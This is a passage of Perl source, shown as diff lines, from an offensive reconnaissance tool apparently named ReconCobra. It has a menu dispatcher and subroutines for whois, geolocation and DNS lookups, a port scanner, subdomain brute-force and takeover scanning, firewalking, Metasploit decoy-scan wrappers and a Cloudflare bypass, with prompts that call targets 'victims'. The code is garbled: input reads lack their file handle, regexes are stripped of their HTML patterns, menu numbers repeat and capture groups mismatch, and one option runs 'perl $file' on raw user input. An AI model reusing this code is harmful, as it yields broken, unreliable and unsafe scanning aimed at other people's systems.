green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($finss=); + print "\n"; + Findinternalnetworkssandsweep(); + enter(); + }if($number eq '33'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($dsgmd=); + print "\n"; + Decoayscanandgeneratemetasploitdata(); + enter(); + }if($number eq '34'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($fsbi=); + print "\n"; + Findsslbugsandinformation(); + enter(); + }if($number eq '35'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($euff=); + print "\n"; + Extractusersfromftp(); + enter(); + }if($number eq '36'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($eufp=); + print "\n"; + Extractusersfrompop3(); + enter(); + }if($number eq '37'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($eufi=); + print "\n"; + Extractusersfromimap(); + enter(); + }if($number eq '38'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($eufs=); + print "\n"; + Extractusersfromsmtp(); + enter(); + }if($number eq '39'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($euff=); + print "\n"; + Extractusersfromform(); + enter(); + }if($number eq '40'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target IP ";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($efpifs=); + print "\n"; + Extractfullpossibleinformationfromsnmp(); + enter(); + }if($number eq '41'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($eifc=); + print "\n"; + Extractpossibleinformationfromcertificaties(); + enter(); + }if($number eq '42'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($fchsld=); + print "\n"; + Findvictimhttpsleakeddata(); + enter(); + }if($number eq '43'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($fuss=); + print "\n"; + Findusersfromsitemap(); + enter(); + }if($number eq '44'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($fdfr=); + print "\n"; + Finddirectoriesfromrobots(); + enter(); + }if($number eq '45'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($fafu=); + print "\n"; + Findallaccountsfromuser(); + enter(); + }if($number eq '46'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($fafes=); + print "\n"; + Findallaccountsfromemail(); + enter(); + }if($number eq '47'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($cloud=); + print "\n"; + Findalltagsfromaccount(); + enter(); + }if($number eq '48'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($dnsh=); + print "\n"; + Dnshistory(); + enter(); + }if($number eq '49'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($dnsh=); + print "\n"; + Passivednssearch(); + enter(); + }if($number eq '50'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($pasds=); + print "\n"; + Usecommoncrawlontarget(); + enter(); + }if($number eq '51'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($cvt=); + print "\n"; + hostnametoip(); + enter(); + }if($number eq '52'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($rlu=); + print "\n"; + Reversenslookup(); + enter(); + }if($number eq '53'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($fdl=); + print "\n"; + Forwardnslookup(); + enter(); + }if($number eq '54'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($wineni=); + print "\n"; + Wineni(); + enter(); + }if($number eq '55'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($winipc=); + print "\n"; + Wingensipc(); + enter(); + }if($number eq '56'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($wfn=); + print "\n"; + Wingfivnetbios(); + enter(); + }if($number eq '57'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + #chomp($wtn=); + print "\n"; + Winctonetbios(); + enter(); + }if($number eq '58'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($ips=); + print "\n"; + Ips(); + enter(); + }if($number eq '59'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($cloud=); + print "\n"; + Bypasscloudflare(); + enter(); + }if($number eq '60'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website (caution: This may take a while)";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($dnscache=); + print "\n"; + Dnscachedrecords(); + enter(); + }if($number eq '61'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter IP Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($cmswaf=); + print "\n"; + Cmswaffirewall(); + enter(); + }if($number eq '62'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + chomp($sharedns=); + print "\n"; + SharedNS(); + enter(); + }if($number eq '63'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + MDSSE(); + enter(); + }if($number eq '64'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + DomainCertificate(); + enter(); + }if($number eq '65'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + Apisubdomain(); + enter(); + }if($number eq '66'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + Cname(); + enter(); + }if($number eq '67'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + endpoints(); + enter(); + }if($number eq '68'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + cors(); + enter(); + }if($number eq '69'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + wayback(); + enter(); + }if($number eq '69'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + linkfinder(); + enter(); + } + if($number eq '0'){ + exit; + } + else{ + banner(); + menu(); + } +} + +#--------------------------------------------------------------# +#1 Website information # +#--------------------------------------------------------------# +sub Websiteinformation { + $url = "https://myip.ms/$info"; + $request = $ua->get($url); + $response = $request->content; + + if($response =~/> (.*?) visitors per day (.*?) visitors per day on (.*?)
/) + { + $ipv6_address=$1; + print item(),"Linked IPv6 Address: $ipv6_address\n"; + } + if($response =~/IP Location: <\/td> <\/span>(.*?)<\/a>/) + { + $Location=$1; + print item(),"IP Location: $Location\n"; + } + if($response =~/IP Reverse DNS (.*?)<\/b><\/div>
(.*?)<\/div>/) + { + $host=$2; + print item(),"IP Reverse DNS (Host): $host\n"; + } + if($response =~/Hosting Company: <\/td> <\/span> (.*?)<\/a>/) + { + $ownerip=$3; + print item(),"Hosting Company IP Owner: $ownerip\n"; + } + if($response =~/Hosting Company \/ IP Owner: <\/td> (.*?) - (.*?)<\/b>
have (.*?)<\/b>/) + { + print item(),"Hosting IP Range: $1 - $2 ($3 ip) \n"; + } + if($response =~/Hosting Address: <\/td>(.*?)<\/td><\/tr>/) + { + $address=$1; + print item(),"Hosting Address: $address\n"; + } + if($response =~/Owner Address: <\/td>(.*?)<\/td>/) + { + $addressowner=$1; + print item(),"Owner Address: $addressowner\n"; + } + if($response =~/Hosting Country: <\/td><\/span>
(.*?)<\/a>/) + { + $HostingCountry=$1; + print item(),"Hosting Country: $HostingCountry\n"; + } + if($response =~/Owner Country: <\/td><\/span>(.*?)<\/a>/) + { + $OwnerCountry=$1; + print item(),"Owner Country: $OwnerCountry\n"; + } + if($response =~/Hosting Phone: <\/td>(.*?)<\/td><\/tr>/) + { + $phone=$1; + print item(),"Hosting Phone: $phone\n"; + } + if($response =~/Owner Phone: <\/td>(.*?)<\/td><\/tr>/) + { + $Ownerphone=$1; + print item(),"Owner Phone: $Ownerphone\n"; + } + if($response =~/Hosting Website: <\/td>(.*?)<\/a><\/td>/) + { + $website=$1; + print item(),"Hosting Website: $website\n"; + } + if($response =~/Owner Website: <\/td>(.*?)<\/a>/) + { + $Ownerwebsite=$3; + print item(),"Owner Website: $Ownerwebsite\n"; + } + if($response =~/CIDR:<\/td> (.*?)<\/td><\/tr>/) + { + $CIDR=$1; + print item(),"CIDR: $CIDR\n"; + } + if($response =~/Owner CIDR: <\/td>(.*?)<\/a>\/(.*?)<\/span><\/td><\/tr>/) + { + print item(),"Owner CIDR: $3/$4\n\n"; + } + if($response =~/Hosting CIDR: <\/td>(.*?)<\/a>\/(.*?)<\/span><\/td><\/tr>/) + { + print item(),"Hosting CIDR: $3/$4\n\n"; + } + $url = "https://dns-api.org/NS/$info"; + $request = $ua->get($url); + $response = $request->content; + }else { + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } + my %seen; + while($response =~m/"value": "(.*?)."/g) + { + $ns=$1; + next if $seen{$ns}++; + print item(),"NS: $ns \n"; + } +} + +#--------------------------------------------------------------# +#2 Domain Whois Lookup # +#--------------------------------------------------------------# +sub Domainwhoislookup { + $url = "https://api.hackertarget.com/whois/?q=$whois"; + $request = $ua->get($url); + $response = $request->content; + + while($response =~m/(.*?)\n/g) + { + print item(),"$1 \n"; + sleep(1); + } +if ($response =~ /error/) { + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } +} + + + +#--------------------------------------------------------------# +#3 Find IP Geo Location # +#--------------------------------------------------------------# +sub Findiplocation { + $ip= (gethostbyname($geo))[4]; + my ($a,$b,$c,$d) = unpack('C4',$ip); + $ip ="$a.$b.$c.$d"; + + $url = "https://ipapi.co/$ip/json/"; + $request = $ua->get($url); + $response = $request->content; + + if($response =~/country_name": "(.*?)"/){ + print item(),"IP Address: $ip\n"; + print item(),"Country: $1\n"; + if($response =~/city": "(.*?)"/){ + print item(),"City: $1\n"; + }if($response =~/region": "(.*?)"/){ + print item(),"Region: $1\n"; + }if($response =~/region_code": "(.*?)"/){ + print item(),"Region Code: $1\n"; + }if($response =~/continent_code": "(.*?)"/){ + print item(),"Continent Code: $1\n"; + }if($response =~/postal": "(.*?)"/){ + print item(),"Postal Code: $1\n"; + }if($response =~/latitude": (.*?),/){ + print item(),"Latitude / Longitude: $1, "; + }if($response =~/longitude": (.*?),/){ + print color("bold white"),"$1\n"; + }if($response =~/timezone": "(.*?)"/){ + print item(),"Timezone: $1\n"; + }if($response =~/utc_offset": "(.*?)"/){ + print item(),"Utc Offset: $1\n"; + }if($response =~/country_calling_code": "(.*?)"/){ + print item(),"Calling Code: $1\n"; + }if($response =~/currency": "(.*?)"/){ + print item(),"Currency: $1\n"; + }if($response =~/languages": "(.*?)"/){ + print item(),"Languages: $1\n"; + }if($response =~/asn": "(.*?)"/){ + print item(),"ASN: $1\n"; + }if($response =~/org": "(.*?)"/){ + print item(),"ORG: $1\n"; + } + }else { + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } +} + +#--------------------------------------------------------------# +#4 Port Scanner # +#--------------------------------------------------------------# +sub port { + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nC0bra: _> "; + print color('bold white'); + chop ($op = ); + $| = 1; + + print "\n"; + print item(),"PORT STATE SERVICE\n"; + my %ports = ( + 21 => 'FTP' + ,22 => 'SSH' + ,23 => 'Telnet' + ,25 => 'SMTP' + ,43 => 'Whois' + ,53 => 'DNS' + ,68 => 'DHCP' + ,80 => 'HTTP' + ,110 => 'POP3' + ,115 => 'SFTP' + ,119 => 'NNTP' + ,123 => 'NTP' + ,137 => 'NetBIOS' + ,139 => 'NetBIOS' + ,143 => 'IMAP' + ,161 => 'SNMP' + ,220 => 'IMAP3' + ,389 => 'LDAP' + ,443 => 'SSL' + ,1521 => 'Oracle SQL' + ,2049 => 'NFS' + ,3306 => 'mySQL' + ,3388 => 'RDP' + ,3389 => 'RDP' + ,5800 => 'VNC' + ,8000 => 'HTTP' + ,8080 => 'HTTP' + ,8090 => 'HTTP' + ,8888 => 'HTTP' + ,9001 => 'HTTP' + ); + foreach my $p ( sort {$a<=>$b} keys( %ports ) ) + { + $socket = IO::Socket::INET->new(PeerAddr => $op , PeerPort => "$p" , Proto => 'tcp' , Timeout => 1); + if( $socket ){ + print item(); printf("%4s Open %s\n", $p, $ports{$p}); + + }else{ + print item(); printf("%4s Closed %s\n", $p, $ports{$p}); + } + } +} + +#--------------------------------------------------------------# +#5 DNS Whois Lookup # +#--------------------------------------------------------------# +sub DNS_Whois_Lookup { + $url = "https://www.pagesinventory.com/search/?s=$sub"; + $request = $ua->get($url); + $response = $request->content; + + $ip= (gethostbyname($sub))[4]; + my ($a,$b,$c,$d) = unpack('C4',$ip); + $ip_address ="$a.$b.$c.$d"; + if($response =~ /Search result for/){ + print item(),"Website: $sub\n"; + print item('+'),"IP: $ip_address\n\n"; + + while($response =~ m/(.*?)/g ) { + + print item(),"Subdomain: $1\n"; + print item('+'),"IP: $3\n\n"; + sleep(1); + } + }elsif($ip_address =~ /[0-9]/){ + if($response =~ /Nothing was found/){ + print item(),"Website: $sub\n"; + print item(),"IP: $ip_address\n\n"; + print item(),"No Subdomains Found For This Domain\n"; + }} + else { + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } +} + +#--------------------------------------------------------------# +#6 Reverse Whois Lookup # +#--------------------------------------------------------------# +sub revwhois{ + $url = "https://viewdns.info/reversewhois/?q=$revwhoiis"; + $request = $ua->request(HTTP::Request->new(GET => $url)); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("tr")) { + my @link = $p->get_trimmed_text("/tr"); + foreach(@link) + # { print "$_\n"; } + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ /error/){ + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } +} +} + + +#--------------------------------------------------------------# +#7 DNS Zone Transfers Lookup # +#--------------------------------------------------------------# +sub DNSzonetransfers { + $url = "https://api.hackertarget.com/zonetransfer/?q=$dnszt"; + #$url = "https://api.hackertarget.com/whois/?q=$whois"; + $request = $ua->get($url); + $response = $request->content; + + while($response =~m/(.*?)\n/g) + { + print item(),"$1 \n"; + sleep(1); + } +if ($response =~ /error/) { + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } +} + +#--------------------------------------------------------------# +#8 Reverse IP Lookup # +#--------------------------------------------------------------# +sub revip{ + $url = "https://api.hackertarget.com/reverseiplookup/?q=$rev"; + $request = $ua->get($url); + $response = $request->content; + + while($response =~m/(.*?)\n/g) + { + print item(),"$1 \n"; + print color('reset'); + sleep(1); + } + if ($response =~ /error/){ + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } +} + + +#--------------------------------------------------------------# +#9 Forward IP Lookup # +#--------------------------------------------------------------# +sub Forwardiplookup { + $url = "https://viewdns.info/reverseip/?host=$fwdip&t=1"; + $request = $ua->request(HTTP::Request->new(GET => $url)); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("tr")) { + my @link = $p->get_trimmed_text("/tr"); + foreach(@link) + # { print "$_\n"; } + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ /error/){ + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } +} +} + + +#--------------------------------------------------------------# +#10 Reverse DNS Lookup # +#--------------------------------------------------------------# +sub Reversednslookup { + $url = "https://viewdns.info/reversedns/?ip=$revdns"; + $request = $ua->request(HTTP::Request->new(GET => $url)); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("tr")) { + my @link = $p->get_trimmed_text("/tr"); + foreach(@link) + # { print "$_\n"; } + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ /error/){ + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } +} +} + + +#--------------------------------------------------------------# +#11 Forward DNS Lookup # +#--------------------------------------------------------------# +sub Forwardnslookup { + $url = "https://www.dnssy.com/lookup.php?q=$fwddns&t=A"; + $request = $ua->request(HTTP::Request->new(GET => $url)); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("tr")) { + my @link = $p->get_trimmed_text("/tr"); + foreach(@link) + # { print "$_\n"; } + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ /error/){ + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } +} +} + + +#--------------------------------------------------------------# +#12 Shared DNS Lookup # +#--------------------------------------------------------------# +sub Shareddnslookup { + $url = "https://api.hackertarget.com/findshareddns/?q=$shrdns"; + $request = $ua->get($url); + $response = $request->content; + + while($response =~m/(.*?)\n/g) + { + print item(),"$1 \n"; + print color('reset'); + sleep(1); + } + if ($response =~ /error/){ + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } +} + + + +#--------------------------------------------------------------# +#13 Technology Lookup # +#--------------------------------------------------------------# +sub Technologylookup { + $url = "https://builtwith.com/$techlookup"; + $request = $ua->get($url); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("h2")) { + my @link = $p->get_trimmed_text("/h2"); + foreach(@link) + # { print "$_\n"; } + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ /error/){ + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } +} +} + +#--------------------------------------------------------------# +#14 Website Recon # +#--------------------------------------------------------------# +sub Websiterecon { +# $url = "https://api.wappalyzer.com/lookup-basic/beta/?url=http://$webrecon"; + $url = "https://dnstools.ws/traversal/$webrecon/ANY/"; + $request = $ua->get($url); + $response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("tr")) { + my @link = $p->get_trimmed_text("/tr"); + foreach(@link) + # { print "$_\n"; } + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ /error/){ + print item(),"Something Went Wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } +} +} + +#--------------------------------------------------------------# +#15 Metadata Crawler # +#--------------------------------------------------------------# +sub Metadatacrawler { +if (system("usr/share/ReconCobra/coba.sh") == 0) { + print "Success!\n"; + } + else { + print "[~] Make available coba.sh in same folder\n[~] Command failed\n"; + } +} + +#--------------------------------------------------------------# +#16 Metadata Googler # +#--------------------------------------------------------------# +sub Metadatagoogler { +if (system("usr/share/ReconCobra/cobb.sh") == 0) { + print "Success! \n"; + print "Downlaoded meta files are stored in downloaded_meta_files directory \n"; + print "Results are stored in metacrawler_results directory \n"; + } + else { + print "[~] Make available cobb.sh in same folder\n[~] Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#17 Subdomain Scanner # +#--------------------------------------------------------------# +sub Subdomainscanner { + print item(),"1 - Start Search Engine Subdomain Scanner\n"; + print item(),"2 - Try Pages Inventory\n"; + print item(),"Enter Search Engine: "; + chomp($enter=); +if ($enter =~1) { + if (system("usr/share/ReconCobra/ShaheenX.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make ShaheenX.sh available in same folder\n[~] Command failed\n"; +} +} +if ($enter =~2) { + if (system("usr/share/ReconCobra/sub1.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make sub1.sh available in same folder\n[~] Command failed\n"; + } +} +} + + +#--------------------------------------------------------------# +#18 Subdomain Takeover Scanner # +#--------------------------------------------------------------# +sub Subdomaintakeover { +if (system("usr/share/ReconCobra/takeoverscanner.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make takoverscanner.sh available in same folder\n[~] Command failed\n"; + } +} + + + +#--------------------------------------------------------------# +#19 Brute Subdomains # +#--------------------------------------------------------------# +sub Brutedomain { +if (system("usr/share/ReconCobra/maahro.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make maahro.sh available in same folder\n[~] Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#20 Brute DNS Subdomains # +#--------------------------------------------------------------# +sub Brutednsdomain { + print item(),"Browse panthera folder for wordllist files and provide given file list\n"; +sleep(5); +if (system("perl panthera/dnsbrute.pl") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make Panthera available in same folder\n[~] Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#21 Configuration Errors # +#--------------------------------------------------------------# +sub Configerrors { +if (system("usr/share/ReconCobra/browser.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make browser.sh in same folder\n[~] Command failed\n"; + } + } + +#--------------------------------------------------------------# +#22 Find ASN # +#--------------------------------------------------------------# +sub Findasn { +if (system("usr/share/ReconCobra/findasn.sh") == 0) { + print "success, file written input.txt!\n"; + } + else { + print "[~] Make findasn.sh in same folder\n[~] Command failed\n"; + } +} + +#--------------------------------------------------------------# +#23 Find Netblocks # +#--------------------------------------------------------------# +sub Findnetblock { +if (system("usr/share/ReconCobra/netblock.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make netblock.sh in same folder\n[~] Command failed\n"; + print "[~] Did you forgot to create input.txt file for nmap\n"; + } + +} + +#--------------------------------------------------------------# +#24 Capture Screenshots # +#--------------------------------------------------------------# +sub Capturescreenshots { +if (system("usr/share/ReconCobra/screenshot.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make screenshost.sh in same folder\n[~] Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#25 Find Nearest Servers to Target # +#--------------------------------------------------------------# +sub nearestvictim { +if (system("usr/share/ReconCobra/bile.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make bile.sh in same folder\n[~] Command failed\n"; + } +} + + + +#--------------------------------------------------------------# +#26 Sweep Netblocks and Resolve # +#--------------------------------------------------------------# +sub Sweepandnetblock() { +if (system("usr/share/ReconCobra/resolve.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make resolve.sh in same folder\n[~] Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#27 Load DNS Hacking Suite Panthera # +#--------------------------------------------------------------# +sub Panthera { +print item(), "Enter the Panthera Perl Script with path to Load: "; +$file=; +if (system("perl $file") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make Panthera file available in same folder\n[~] Command failed\n"; + } +} + + + +#--------------------------------------------------------------# +#28 Find Emails and Names # +#--------------------------------------------------------------# +sub Findemailsandnames { +if (system("usr/share/ReconCobra/email.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Make email.sh in same folder\n[~] Command failed\n"; + } +} + + + +#--------------------------------------------------------------# +#29 Find Contact Information # +#--------------------------------------------------------------# +sub Findcontactinformation { +if (system("usr/share/ReconCobra/theharvester.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Did you forget to install the harvester\n[~] Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#30 Common Nmap Port Scan # +#--------------------------------------------------------------# +sub Commonnmapportscan { +if (system("usr/share/ReconCobra/nmapcommonscan.sh") == 0) { + print item(), "success!\n"; + } + else { + print "[~] Did you forget the make input.txt from nmap \n[~] Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#31 Ping Hop and Firewalk # +#--------------------------------------------------------------# +sub Pinghopandinternalnetworks { +print "\n",item(),"Peform three types of Firewalk scan"; +print "\n",item(),"Results will be saved in Firewalk_results\n"; +if (system("usr/share/ReconCobra/firewalka.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Command failed\n"; + } +if (system("usr/share/ReconCobra/firewalkb.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Command failed\n"; + } +if (system("usr/share/ReconCobra/firewalkc.sh") == 0) { + print item(),"Command failed\n"; + } + else { + print item(),"Command failed\n"; + } + + +} + + +#--------------------------------------------------------------# +#32 Find Internal Networks and Sweep # +#--------------------------------------------------------------# +sub Findinternalnetworkssandsweep { +$url = "https://www.shodan.io/search?query=$finss"; +$request = $ua->request(HTTP::Request->new(GET => $url)); +$response = $request->content; + +$p = HTML::TokeParser->new(\$response); + while ($p->get_tag("a")) { + my @link = $p->get_trimmed_text("/a"); + foreach(@link) + # { print "$_\n"; } + { + print item(),"$_\n"; + print color('reset'); + sleep(1); + } + if ($response =~ m/^error/i){ + print item(),"Something went wrong\n\n"; + print item('Note'),"Enter Website Without HTTP/HTTPs\n"; + } + } + } + + + +#--------------------------------------------------------------# +#33 Decoy Scan & Generate Metasploit Data # +#--------------------------------------------------------------# +sub Decoayscanandgeneratemetasploitdata { +if (system("usr/share/ReconCobra/resolve.sh") == 0) { + print "\n",item(),"success!\n"; + } + else { + print "\n",item(),"Make resolve.sh in same folder\n"; + print "\n",item(),"Command failed\n"; + } +} + + +#--------------------------------------------------------------# +#34 Find SSL Bugs & Information # +#--------------------------------------------------------------# +sub Findsslbugsandinformation { +print item(), "Starting SSL Info check\n\n"; + $url = 